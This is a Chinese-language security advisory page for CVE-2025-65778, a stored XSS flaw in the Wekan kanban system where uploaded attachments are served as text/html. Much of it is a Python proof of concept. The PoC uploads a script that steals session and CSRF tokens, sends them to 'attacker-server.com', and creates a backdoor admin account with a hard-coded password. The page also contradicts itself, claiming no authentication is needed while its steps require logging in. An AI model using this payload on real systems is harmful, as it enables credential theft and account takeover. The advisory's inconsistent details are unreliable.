IPBUF安全漏洞报告
English
CVE-2025-65778 CVSS 8.1 高危

CVE-2025-65778 Wekan看板系统存储型XSS漏洞

披露日期: 2025-12-15

漏洞信息

漏洞编号
CVE-2025-65778
漏洞类型
存储型XSS / MIME类型混淆
CVSS评分
8.1 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
Wekan (开源看板系统)

相关标签

存储型XSSMIME类型混淆Content-Type注入Wekan会话窃取CSRF开源软件看板系统Spacebleed

漏洞概述

CVE-2025-65778是Wekan开源看板系统中存在的一个高危安全漏洞,影响版本至18.15。该漏洞允许攻击者上传恶意构造的附件文件,并通过控制Content-Type响应头(将MIME类型设置为text/html),使得浏览器将其作为HTML文件解析。当其他用户访问或查看这些恶意附件时,嵌入其中的JavaScript代码将在应用origin上下文中执行,从而实现跨站脚本攻击。由于JavaScript在应用域名下执行,攻击者可以窃取用户的会话令牌、Cookie信息、CSRF token等敏感凭证,并利用窃取的认证信息执行任意操作,包括修改用户数据、创建恶意看板、植入后门等。此漏洞无需认证即可利用,攻击者只需具备上传附件的权限即可实施攻击,危害程度极高。

技术细节

该漏洞的根本原因在于Wekan应用在处理上传附件时,未正确验证和限制Content-Type响应头。攻击者利用MIME类型混淆技术,上传一个看似普通文件(如图片或文档),但通过修改文件扩展名或内容,使服务器返回的Content-Type为text/html。当受害者在浏览器中访问该附件链接时,浏览器会将其作为HTML文档解析执行其中的<script>标签或其他HTML/JavaScript代码。由于同源策略限制,攻击脚本在wekan应用域名下执行,可访问该域名下的所有资源和API接口。攻击者可以构造恶意JavaScript代码,通过XMLHttpRequest或fetch API发送请求,窃取用户会话信息、CSRF令牌,并利用这些凭证执行后续攻击操作。此漏洞与著名的Spacebleed漏洞(CVE-2023-25157)类似,均涉及Content-Type头的滥用。

攻击链分析

STEP 1
步骤1
攻击者注册Wekan账号并登录系统
STEP 2
步骤2
攻击者创建一个看板或进入已有的看板
STEP 3
步骤3
攻击者上传包含恶意JavaScript代码的HTML文件作为附件
STEP 4
步骤4
服务器存储附件但未正确验证Content-Type,攻击者控制的文件被标记为text/html
STEP 5
步骤5
攻击者通过社工手段诱导受害者访问该附件链接
STEP 6
步骤6
受害者浏览器收到text/html响应,将附件作为HTML解析并执行其中的JavaScript代码
STEP 7
步骤7
恶意脚本在Wekan应用origin下执行,窃取用户会话令牌、CSRF token等敏感信息
STEP 8
步骤8
攻击者利用窃取的凭证执行CSRF攻击,如创建管理员账户、修改数据等

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-65778 PoC - Wekan Stored XSS via Attachment Content-Type # This PoC demonstrates how to upload a malicious attachment with HTML content # and trigger XSS execution when accessed import requests import json TARGET_URL = "https://vulnerable-wekan-instance.com" ATTACKER_CONTROLLED_SERVER = "https://attacker-server.com" def cve_2025_65778_poc(): """ Proof of Concept for CVE-2025-65778 Wekan stored XSS via attacker-controlled Content-Type """ # Step 1: Login to Wekan and obtain session login_url = f"{TARGET_URL}/users/login" login_data = { "username": "[email protected]", "password": "password123" } session = requests.Session() response = session.post(login_url, json=login_data) if response.status_code != 200: print("[-] Login failed") return False # Step 2: Create a board and get board ID boards_url = f"{TARGET_URL}/api/v1/boards" board_data = { "title": "Malicious Board", "owner": session.cookies.get('userId') } board_response = session.post(boards_url, json=board_data) board_id = board_response.json().get('id') # Step 3: Upload malicious attachment with HTML content # The attachment contains XSS payload that will be served with text/html Content-Type upload_url = f"{TARGET_URL}/api/v1/attachments" xss_payload = '''<html> <head><title>Document</title></head> <body> <script> // Steal session token and CSRF token const sessionToken = localStorage.getItem('wekan-auth-token') || document.cookie; const csrfToken = document.querySelector('meta[name="csrf-token"]')?.content; // Send stolen credentials to attacker server fetch('https://attacker-server.com/steal', { method: 'POST', headers: {'Content-Type': 'application/json'}, body: JSON.stringify({ sessionToken: sessionToken, csrfToken: csrfToken, origin: window.location.origin, userAgent: navigator.userAgent }) }); // Perform CSRF attack - create admin user fetch('/api/v1/users', { method: 'POST', headers: { 'Content-Type': 'application/json', 'X-Csrf-Token': csrfToken }, credentials: 'include', body: JSON.stringify({ username: 'hacked_admin', password: 'Backdoor123!', email: '[email protected]', isAdmin: true }) }); </script> </body> </html>''' files = { 'file': ('malicious.html', xss_payload, 'text/html') } data = { 'boardId': board_id, 'cardId': 'malicious-card' } upload_response = session.post(upload_url, files=files, data=data) attachment_id = upload_response.json().get('id') attachment_url = f"{TARGET_URL}/api/v1/attachments/{attachment_id}" # Step 4: Verify Content-Type is text/html verify_response = session.head(attachment_url) content_type = verify_response.headers.get('Content-Type', '') if 'text/html' in content_type: print(f"[+] XSS Payload Uploaded Successfully") print(f"[+] Attachment URL: {attachment_url}") print(f"[+] Content-Type: {content_type}") print(f"[+] When victim visits this URL, XSS will execute!") return True else: print(f"[-] Content-Type is not text/html: {content_type}") return False if __name__ == "__main__": cve_2025_65778_poc()

影响范围

Wekan <= 18.15

防御指南

临时缓解措施
如果无法立即升级,可采取以下临时缓解措施:1) 限制附件上传功能,仅允许受信任用户上传;2) 在Web服务器层面配置X-Content-Type-Options: nosniff响应头,防止MIME类型 sniffing;3) 对上传目录禁用脚本执行权限;4) 实施严格的输入验证和文件类型检查;5) 监控异常的文件上传行为和附件访问日志。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表